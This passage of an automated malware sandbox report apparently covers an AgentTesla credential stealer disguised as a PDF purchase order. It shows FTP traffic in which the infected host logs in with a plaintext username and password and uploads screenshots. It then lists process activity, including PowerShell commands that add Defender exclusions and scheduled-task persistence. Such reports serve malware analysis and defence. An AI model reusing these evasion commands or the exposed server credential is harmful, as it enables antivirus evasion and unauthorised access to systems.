Sep 25, 2024 14:44:28.407121897 CEST	21	65030	110.4.45.197	192.168.2.9	257 "/" is your current location
Sep 25, 2024 14:44:28.407294989 CEST	65030	21	192.168.2.9	110.4.45.197	TYPE I
Sep 25, 2024 14:44:28.742332935 CEST	21	65030	110.4.45.197	192.168.2.9	200 TYPE is now 8-bit binary
Sep 25, 2024 14:44:28.745111942 CEST	65030	21	192.168.2.9	110.4.45.197	PASV
Sep 25, 2024 14:44:28.917994022 CEST	21	65029	110.4.45.197	192.168.2.9	226-File successfully transferred 226-File successfully transferred226 0.811 seconds (measured here), 91.01 Kbytes per second
Sep 25, 2024 14:44:29.085597038 CEST	21	65030	110.4.45.197	192.168.2.9	227 Entering Passive Mode (110,4,45,197,249,65)
Sep 25, 2024 14:44:29.093226910 CEST	65030	21	192.168.2.9	110.4.45.197	STOR SC_user-878411_2024_10_16_12_49_55.jpeg
Sep 25, 2024 14:44:30.056008101 CEST	21	65030	110.4.45.197	192.168.2.9	150 Accepted data connection
Sep 25, 2024 14:44:31.057775021 CEST	21	65030	110.4.45.197	192.168.2.9	226-File successfully transferred 226-File successfully transferred226 1.001 seconds (measured here), 73.73 Kbytes per second
Sep 25, 2024 14:44:32.194961071 CEST	65029	21	192.168.2.9	110.4.45.197	PASV
Sep 25, 2024 14:44:32.538887978 CEST	21	65029	110.4.45.197	192.168.2.9	227 Entering Passive Mode (110,4,45,197,231,190)
Sep 25, 2024 14:44:32.547243118 CEST	65029	21	192.168.2.9	110.4.45.197	STOR SC_user-878411_2024_11_06_15_11_41.jpeg
Sep 25, 2024 14:44:33.451342106 CEST	21	65029	110.4.45.197	192.168.2.9	150 Accepted data connection
Sep 25, 2024 14:44:34.383814096 CEST	21	65029	110.4.45.197	192.168.2.9	226-File successfully transferred 226-File successfully transferred226 0.932 seconds (measured here), 79.19 Kbytes per second
Sep 25, 2024 14:45:22.031651020 CEST	21	65040	110.4.45.197	192.168.2.9	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 17 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 17 of 50 allowed.220-Local time is now 20:45. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 17 of 50 allowed.220-Local time is now 20:45. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 17 of 50 allowed.220-Local time is now 20:45. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 17 of 50 allowed.220-Local time is now 20:45. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Sep 25, 2024 14:45:22.031836033 CEST	65040	21	192.168.2.9	110.4.45.197	USER origin@haliza.com.my
Sep 25, 2024 14:45:22.031975031 CEST	21	65040	110.4.45.197	192.168.2.9	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 17 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 17 of 50 allowed.220-Local time is now 20:45. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 17 of 50 allowed.220-Local time is now 20:45. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 17 of 50 allowed.220-Local time is now 20:45. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 17 of 50 allowed.220-Local time is now 20:45. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Sep 25, 2024 14:45:22.032416105 CEST	21	65040	110.4.45.197	192.168.2.9	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 17 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 17 of 50 allowed.220-Local time is now 20:45. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 17 of 50 allowed.220-Local time is now 20:45. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 17 of 50 allowed.220-Local time is now 20:45. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 17 of 50 allowed.220-Local time is now 20:45. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Sep 25, 2024 14:45:22.420850992 CEST	21	65040	110.4.45.197	192.168.2.9	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 17 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 17 of 50 allowed.220-Local time is now 20:45. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 17 of 50 allowed.220-Local time is now 20:45. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 17 of 50 allowed.220-Local time is now 20:45. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 17 of 50 allowed.220-Local time is now 20:45. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Sep 25, 2024 14:45:22.421000957 CEST	65040	21	192.168.2.9	110.4.45.197	USER origin@haliza.com.my
Sep 25, 2024 14:45:22.746551991 CEST	21	65040	110.4.45.197	192.168.2.9	331 User origin@haliza.com.my OK. Password required
Sep 25, 2024 14:45:22.747558117 CEST	65040	21	192.168.2.9	110.4.45.197	PASS JesusChrist007$
Sep 25, 2024 14:45:23.947084904 CEST	21	65040	110.4.45.197	192.168.2.9	230 OK. Current restricted directory is /
Sep 25, 2024 14:45:23.947805882 CEST	21	65040	110.4.45.197	192.168.2.9	230 OK. Current restricted directory is /
Sep 25, 2024 14:45:23.948149920 CEST	21	65040	110.4.45.197	192.168.2.9	230 OK. Current restricted directory is /
Sep 25, 2024 14:45:24.988107920 CEST	21	65040	110.4.45.197	192.168.2.9	230 OK. Current restricted directory is /
Sep 25, 2024 14:45:24.989223003 CEST	21	65040	110.4.45.197	192.168.2.9	230 OK. Current restricted directory is /
Sep 25, 2024 14:45:25.317061901 CEST	21	65040	110.4.45.197	192.168.2.9	504 Unknown command
Sep 25, 2024 14:45:25.317339897 CEST	65040	21	192.168.2.9	110.4.45.197	PWD
Sep 25, 2024 14:45:26.487792969 CEST	21	65040	110.4.45.197	192.168.2.9	257 "/" is your current location
Sep 25, 2024 14:45:26.488765955 CEST	21	65040	110.4.45.197	192.168.2.9	257 "/" is your current location
Sep 25, 2024 14:45:26.488816023 CEST	65040	21	192.168.2.9	110.4.45.197	TYPE I
Sep 25, 2024 14:45:26.488945961 CEST	21	65040	110.4.45.197	192.168.2.9	257 "/" is your current location
Sep 25, 2024 14:45:26.720679998 CEST	21	65040	110.4.45.197	192.168.2.9	257 "/" is your current location
Sep 25, 2024 14:45:27.044569969 CEST	21	65040	110.4.45.197	192.168.2.9	200 TYPE is now 8-bit binary
Sep 25, 2024 14:45:27.045316935 CEST	65040	21	192.168.2.9	110.4.45.197	PASV
Sep 25, 2024 14:45:28.273814917 CEST	21	65040	110.4.45.197	192.168.2.9	227 Entering Passive Mode (110,4,45,197,212,238)
Sep 25, 2024 14:45:28.274068117 CEST	21	65040	110.4.45.197	192.168.2.9	227 Entering Passive Mode (110,4,45,197,212,238)
Sep 25, 2024 14:45:28.274665117 CEST	21	65040	110.4.45.197	192.168.2.9	227 Entering Passive Mode (110,4,45,197,212,238)
Sep 25, 2024 14:45:28.275059938 CEST	21	65040	110.4.45.197	192.168.2.9	227 Entering Passive Mode (110,4,45,197,212,238)
Sep 25, 2024 14:45:28.299405098 CEST	65040	21	192.168.2.9	110.4.45.197	STOR SC_user-878411_2024_11_16_06_41_22.jpeg
Sep 25, 2024 14:45:29.132098913 CEST	21	65040	110.4.45.197	192.168.2.9	150 Accepted data connection
Sep 25, 2024 14:45:29.942749023 CEST	21	65040	110.4.45.197	192.168.2.9	226-File successfully transferred 226-File successfully transferred226 0.811 seconds (measured here), 91.04 Kbytes per second
Sep 25, 2024 14:45:30.982853889 CEST	21	65040	110.4.45.197	192.168.2.9	226-File successfully transferred 226-File successfully transferred226 0.811 seconds (measured here), 91.04 Kbytes per second
Sep 25, 2024 14:45:30.983236074 CEST	21	65040	110.4.45.197	192.168.2.9	226-File successfully transferred 226-File successfully transferred226 0.811 seconds (measured here), 91.04 Kbytes per second
Sep 25, 2024 14:45:30.983546019 CEST	21	65040	110.4.45.197	192.168.2.9	226-File successfully transferred 226-File successfully transferred226 0.811 seconds (measured here), 91.04 Kbytes per second
Sep 25, 2024 14:45:59.895040035 CEST	21	65045	110.4.45.197	192.168.2.9	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 19 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 19 of 50 allowed.220-Local time is now 20:46. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 19 of 50 allowed.220-Local time is now 20:46. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 19 of 50 allowed.220-Local time is now 20:46. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 19 of 50 allowed.220-Local time is now 20:46. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Sep 25, 2024 14:45:59.895211935 CEST	65045	21	192.168.2.9	110.4.45.197	USER origin@haliza.com.my
Sep 25, 2024 14:46:00.261992931 CEST	21	65045	110.4.45.197	192.168.2.9	331 User origin@haliza.com.my OK. Password required
Sep 25, 2024 14:46:00.263067961 CEST	65045	21	192.168.2.9	110.4.45.197	PASS JesusChrist007$
Sep 25, 2024 14:46:00.671087027 CEST	21	65045	110.4.45.197	192.168.2.9	230 OK. Current restricted directory is /
Sep 25, 2024 14:46:01.057591915 CEST	21	65045	110.4.45.197	192.168.2.9	504 Unknown command
Sep 25, 2024 14:46:01.058243990 CEST	65045	21	192.168.2.9	110.4.45.197	PWD
Sep 25, 2024 14:46:01.437719107 CEST	21	65045	110.4.45.197	192.168.2.9	257 "/" is your current location
Sep 25, 2024 14:46:01.437848091 CEST	65045	21	192.168.2.9	110.4.45.197	TYPE I
Sep 25, 2024 14:46:01.818774939 CEST	21	65045	110.4.45.197	192.168.2.9	200 TYPE is now 8-bit binary
Sep 25, 2024 14:46:01.818973064 CEST	65045	21	192.168.2.9	110.4.45.197	PASV
Sep 25, 2024 14:46:02.210742950 CEST	21	65045	110.4.45.197	192.168.2.9	227 Entering Passive Mode (110,4,45,197,230,98)
Sep 25, 2024 14:46:02.216464043 CEST	65045	21	192.168.2.9	110.4.45.197	STOR SC_user-878411_2024_12_22_10_43_37.jpeg
Sep 25, 2024 14:46:03.095990896 CEST	21	65045	110.4.45.197	192.168.2.9	150 Accepted data connection
Sep 25, 2024 14:46:04.061877012 CEST	21	65045	110.4.45.197	192.168.2.9	226-File successfully transferred 226-File successfully transferred226 0.973 seconds (measured here), 75.81 Kbytes per second
Sep 25, 2024 14:46:05.003916979 CEST	65045	21	192.168.2.9	110.4.45.197	PASV
Sep 25, 2024 14:46:05.407233953 CEST	21	65045	110.4.45.197	192.168.2.9	227 Entering Passive Mode (110,4,45,197,221,244)
Sep 25, 2024 14:46:05.418234110 CEST	65045	21	192.168.2.9	110.4.45.197	STOR SC_user-878411_2024_12_27_04_46_06.jpeg
Sep 25, 2024 14:46:06.289006948 CEST	21	65045	110.4.45.197	192.168.2.9	150 Accepted data connection
Sep 25, 2024 14:46:07.118069887 CEST	21	65045	110.4.45.197	192.168.2.9	226-File successfully transferred 226-File successfully transferred226 0.823 seconds (measured here), 89.68 Kbytes per second
Sep 25, 2024 14:46:09.978199005 CEST	65045	21	192.168.2.9	110.4.45.197	PASV
Sep 25, 2024 14:46:10.707081079 CEST	21	65045	110.4.45.197	192.168.2.9	227 Entering Passive Mode (110,4,45,197,206,115)
Sep 25, 2024 14:46:10.735522032 CEST	65045	21	192.168.2.9	110.4.45.197	STOR SC_user-878411_2025_01_02_12_40_20.jpeg
Sep 25, 2024 14:46:11.621846914 CEST	21	65045	110.4.45.197	192.168.2.9	150 Accepted data connection
Sep 25, 2024 14:46:12.597202063 CEST	21	65045	110.4.45.197	192.168.2.9	226-File successfully transferred 226-File successfully transferred226 0.815 seconds (measured here), 90.55 Kbytes per second
Sep 25, 2024 14:46:13.977505922 CEST	65045	21	192.168.2.9	110.4.45.197	PASV
Sep 25, 2024 14:46:14.397054911 CEST	21	65045	110.4.45.197	192.168.2.9	227 Entering Passive Mode (110,4,45,197,234,158)
Sep 25, 2024 14:46:14.402879953 CEST	65045	21	192.168.2.9	110.4.45.197	STOR SC_user-878411_2025_01_07_17_07_28.jpeg
Sep 25, 2024 14:46:15.331830978 CEST	21	65045	110.4.45.197	192.168.2.9	150 Accepted data connection
Sep 25, 2024 14:46:16.296406031 CEST	21	65045	110.4.45.197	192.168.2.9	226-File successfully transferred 226-File successfully transferred226 0.963 seconds (measured here), 76.61 Kbytes per second
Sep 25, 2024 14:46:33.817956924 CEST	65040	21	192.168.2.9	110.4.45.197	PASV
Sep 25, 2024 14:46:34.410547972 CEST	65045	21	192.168.2.9	110.4.45.197	PASV
Sep 25, 2024 14:46:34.447510958 CEST	21	65040	110.4.45.197	192.168.2.9	227 Entering Passive Mode (110,4,45,197,225,87)
Sep 25, 2024 14:46:34.447932959 CEST	21	65040	110.4.45.197	192.168.2.9	227 Entering Passive Mode (110,4,45,197,225,87)
Sep 25, 2024 14:46:34.453856945 CEST	65040	21	192.168.2.9	110.4.45.197	STOR SC_user-878411_2024_09_25_08_46_32.jpeg
Sep 25, 2024 14:46:34.841181993 CEST	21	65045	110.4.45.197	192.168.2.9	227 Entering Passive Mode (110,4,45,197,198,164)
Sep 25, 2024 14:46:34.849772930 CEST	65045	21	192.168.2.9	110.4.45.197	STOR SC_user-878411_2024_09_25_08_46_33.jpeg
Sep 25, 2024 14:46:35.398848057 CEST	21	65040	110.4.45.197	192.168.2.9	150 Accepted data connection
Sep 25, 2024 14:46:35.744278908 CEST	21	65045	110.4.45.197	192.168.2.9	150 Accepted data connection
Sep 25, 2024 14:46:35.834079981 CEST	21	65051	110.4.45.197	192.168.2.9	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 18 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 18 of 50 allowed.220-Local time is now 20:46. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 18 of 50 allowed.220-Local time is now 20:46. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 18 of 50 allowed.220-Local time is now 20:46. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 18 of 50 allowed.220-Local time is now 20:46. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Sep 25, 2024 14:46:35.834309101 CEST	65051	21	192.168.2.9	110.4.45.197	USER origin@haliza.com.my
Sep 25, 2024 14:46:36.221298933 CEST	21	65051	110.4.45.197	192.168.2.9	331 User origin@haliza.com.my OK. Password required
Sep 25, 2024 14:46:36.221535921 CEST	65051	21	192.168.2.9	110.4.45.197	PASS JesusChrist007$
Sep 25, 2024 14:46:36.313978910 CEST	21	65040	110.4.45.197	192.168.2.9	226-File successfully transferred 226-File successfully transferred226 0.925 seconds (measured here), 79.78 Kbytes per second
Sep 25, 2024 14:46:36.657290936 CEST	21	65051	110.4.45.197	192.168.2.9	230 OK. Current restricted directory is /
Sep 25, 2024 14:46:36.697979927 CEST	21	65045	110.4.45.197	192.168.2.9	226-File successfully transferred 226-File successfully transferred226 0.954 seconds (measured here), 77.60 Kbytes per second
Sep 25, 2024 14:46:37.054893970 CEST	21	65051	110.4.45.197	192.168.2.9	504 Unknown command
Sep 25, 2024 14:46:37.055047989 CEST	65051	21	192.168.2.9	110.4.45.197	PWD
Sep 25, 2024 14:46:37.457376003 CEST	21	65051	110.4.45.197	192.168.2.9	257 "/" is your current location
Sep 25, 2024 14:46:37.457590103 CEST	65051	21	192.168.2.9	110.4.45.197	TYPE I
Sep 25, 2024 14:46:37.933031082 CEST	21	65051	110.4.45.197	192.168.2.9	200 TYPE is now 8-bit binary
Sep 25, 2024 14:46:37.933207035 CEST	65051	21	192.168.2.9	110.4.45.197	PASV
Sep 25, 2024 14:46:38.291529894 CEST	21	65051	110.4.45.197	192.168.2.9	227 Entering Passive Mode (110,4,45,197,200,170)
Sep 25, 2024 14:46:38.297013998 CEST	65051	21	192.168.2.9	110.4.45.197	STOR SC_user-878411_2024_09_25_08_46_32.jpeg
Sep 25, 2024 14:46:39.207407951 CEST	21	65051	110.4.45.197	192.168.2.9	150 Accepted data connection
Sep 25, 2024 14:46:40.157882929 CEST	21	65051	110.4.45.197	192.168.2.9	226-File successfully transferred 226-File successfully transferred226 0.940 seconds (measured here), 78.47 Kbytes per second

Target ID:	0
Start time:	08:42:18
Start date:	25/09/2024
Path:	C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe"
Imagebase:	0x5d0000
File size:	685'568 bytes
MD5 hash:	5D5B5ECC06B9058D0EC3199ED8617CFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1447223274.0000000003BA9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1447223274.0000000003BA9000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:42:19
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe"
Imagebase:	0x900000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:42:19
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:42:19
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe"
Imagebase:	0x900000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:42:20
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:42:20
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrFvspxoHsPs" /XML "C:\Users\user\AppData\Local\Temp\tmpD40B.tmp"
Imagebase:	0xc00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:42:20
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	08:42:20
Start date:	25/09/2024
Path:	C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe"
Imagebase:	0x1a0000
File size:	685'568 bytes
MD5 hash:	5D5B5ECC06B9058D0EC3199ED8617CFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	08:42:20
Start date:	25/09/2024
Path:	C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe"
Imagebase:	0x450000
File size:	685'568 bytes
MD5 hash:	5D5B5ECC06B9058D0EC3199ED8617CFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000A.00000002.3860883657.00000000028BC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.3860883657.0000000002891000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000A.00000002.3860883657.0000000002891000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	08:42:21
Start date:	25/09/2024
Path:	C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe
Imagebase:	0xb40000
File size:	685'568 bytes
MD5 hash:	5D5B5ECC06B9058D0EC3199ED8617CFE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 66%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	08:42:23
Start date:	25/09/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff72d8c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	08:42:26
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrFvspxoHsPs" /XML "C:\Users\user\AppData\Local\Temp\tmpEC46.tmp"
Imagebase:	0xc00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	08:42:26
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	08:42:26
Start date:	25/09/2024
Path:	C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe"
Imagebase:	0xff0000
File size:	685'568 bytes
MD5 hash:	5D5B5ECC06B9058D0EC3199ED8617CFE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000F.00000002.3860059633.00000000033EB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.3860059633.00000000033A1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000F.00000002.3860059633.00000000033A1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	08:42:31
Start date:	25/09/2024
Path:	C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe"
Imagebase:	0xdf0000
File size:	685'568 bytes
MD5 hash:	5D5B5ECC06B9058D0EC3199ED8617CFE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 66%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	08:42:33
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrFvspxoHsPs" /XML "C:\Users\user\AppData\Local\Temp\tmp675.tmp"
Imagebase:	0xc00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	08:42:33
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	08:42:33
Start date:	25/09/2024
Path:	C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe"
Imagebase:	0xd40000
File size:	685'568 bytes
MD5 hash:	5D5B5ECC06B9058D0EC3199ED8617CFE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000002.1617599669.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000013.00000002.1617599669.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000013.00000002.1620262791.00000000030E5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000002.1620262791.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000013.00000002.1620262791.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	08:42:40
Start date:	25/09/2024
Path:	C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe
